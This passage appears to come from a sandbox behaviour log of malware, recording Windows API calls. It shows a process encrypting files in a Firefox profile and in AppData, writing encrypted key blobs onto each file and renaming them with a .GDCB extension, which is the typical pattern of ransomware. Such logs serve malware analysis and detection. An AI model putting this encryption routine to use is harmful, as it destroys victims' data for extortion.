lpOverlapped=0x0) returned 1 [0135.916] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0135.916] CloseHandle (hObject=0x4fc) returned 1 [0135.917] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.917] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.917] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.917] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\times.json.gdcb")) returned 1 [0135.918] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed168) returned 1 [0135.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.919] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0135.919] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0135.919] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed168) returned 1 [0135.919] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.920] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0135.920] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0135.920] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed300) returned 1 [0135.921] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c7ac0) returned 1 [0135.922] CryptGetKeyParam (in: hKey=0x2c7ac0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.922] CryptEncrypt (in: hKey=0x2c7ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0135.922] GetLastError () returned 0x0 [0135.922] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.922] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0135.923] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c83c0) returned 1 [0135.923] CryptGetKeyParam (in: hKey=0x2c83c0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.923] CryptEncrypt (in: hKey=0x2c83c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0135.924] GetLastError () returned 0x0 [0135.924] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.924] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0135.924] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.924] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.924] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x18000, lpOverlapped=0x0) returned 1 [0135.933] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.934] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0135.936] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.936] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.936] WriteFile (in: hFile=0x4fc, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285e820*=0x18000, lpOverlapped=0x0) returned 1 [0135.937] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.937] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.939] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.940] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.940] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0135.940] CloseHandle (hObject=0x4fc) returned 1 [0135.941] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.942] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.942] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.942] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\webappsstore.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\webappsstore.sqlite.gdcb")) returned 1 [0135.953] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0135.953] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.953] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0135.953] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.953] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed300) returned 1 [0135.954] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.954] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0135.954] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.954] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0135.956] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x309008) returned 1 [0135.956] CryptGetKeyParam (in: hKey=0x309008, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.956] CryptEncrypt (in: hKey=0x309008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0135.956] GetLastError () returned 0x0 [0135.956] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.956] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed300) returned 1 [0135.958] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x308f08) returned 1 [0135.958] CryptGetKeyParam (in: hKey=0x308f08, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.958] CryptEncrypt (in: hKey=0x308f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0135.958] GetLastError () returned 0x0 [0135.958] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.958] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0135.958] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.959] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.959] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x333, lpOverlapped=0x0) returned 1 [0135.973] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.973] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0135.974] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.974] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-819, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.974] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x340, lpOverlapped=0x0) returned 1 [0135.974] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.974] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.977] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.977] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.977] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0135.977] CloseHandle (hObject=0x4fc) returned 1 [0135.978] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.978] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.978] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.978] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\xulstore.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\xulstore.json.gdcb")) returned 1 [0135.979] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0135.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.980] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0135.980] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.980] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0135.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.980] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0135.980] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0135.981] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0135.983] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x309108) returned 1 [0135.983] CryptGetKeyParam (in: hKey=0x309108, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0135.983] CryptEncrypt (in: hKey=0x309108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0135.983] GetLastError () returned 0x0 [0135.983] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.983] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0135.985] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x309248) returned 1 [0135.985] CryptGetKeyParam (in: hKey=0x309248, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0135.985] CryptEncrypt (in: hKey=0x309248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0135.985] GetLastError () returned 0x0 [0135.985] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.985] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0135.985] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.986] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.986] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x7a, lpOverlapped=0x0) returned 1 [0135.994] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.994] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0135.994] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.994] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.994] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0x80, lpOverlapped=0x0) returned 1 [0135.994] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.995] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.997] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0135.997] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0135.997] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0135.999] CloseHandle (hObject=0x4f4) returned 1 [0136.000] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.000] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.000] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.000] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles.ini.gdcb")) returned 1 [0136.005] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.006] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.006] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.006] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.006] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.006] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.006] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.008] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308ec8) returned 1 [0136.008] CryptGetKeyParam (in: hKey=0x308ec8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.008] CryptEncrypt (in: hKey=0x308ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.008] GetLastError () returned 0x0 [0136.008] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.008] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0136.010] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309488) returned 1 [0136.010] CryptGetKeyParam (in: hKey=0x309488, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.010] CryptEncrypt (in: hKey=0x309488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.010] GetLastError () returned 0x0 [0136.010] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.010] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\PP7PZiVZnjg.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pp7pzivznjg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.011] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.011] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.011] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x11aac, lpOverlapped=0x0) returned 1 [0136.020] VirtualAlloc (lpAddress=0x0, dwSize=0x11ab0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.021] VirtualAlloc (lpAddress=0x0, dwSize=0x11ab0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.022] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.022] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-72364, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.022] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x11ab0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x11ab0, lpOverlapped=0x0) returned 1 [0136.023] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.023] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.026] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.026] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.026] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.026] CloseHandle (hObject=0x4ec) returned 1 [0136.027] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.027] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.027] VirtualFree 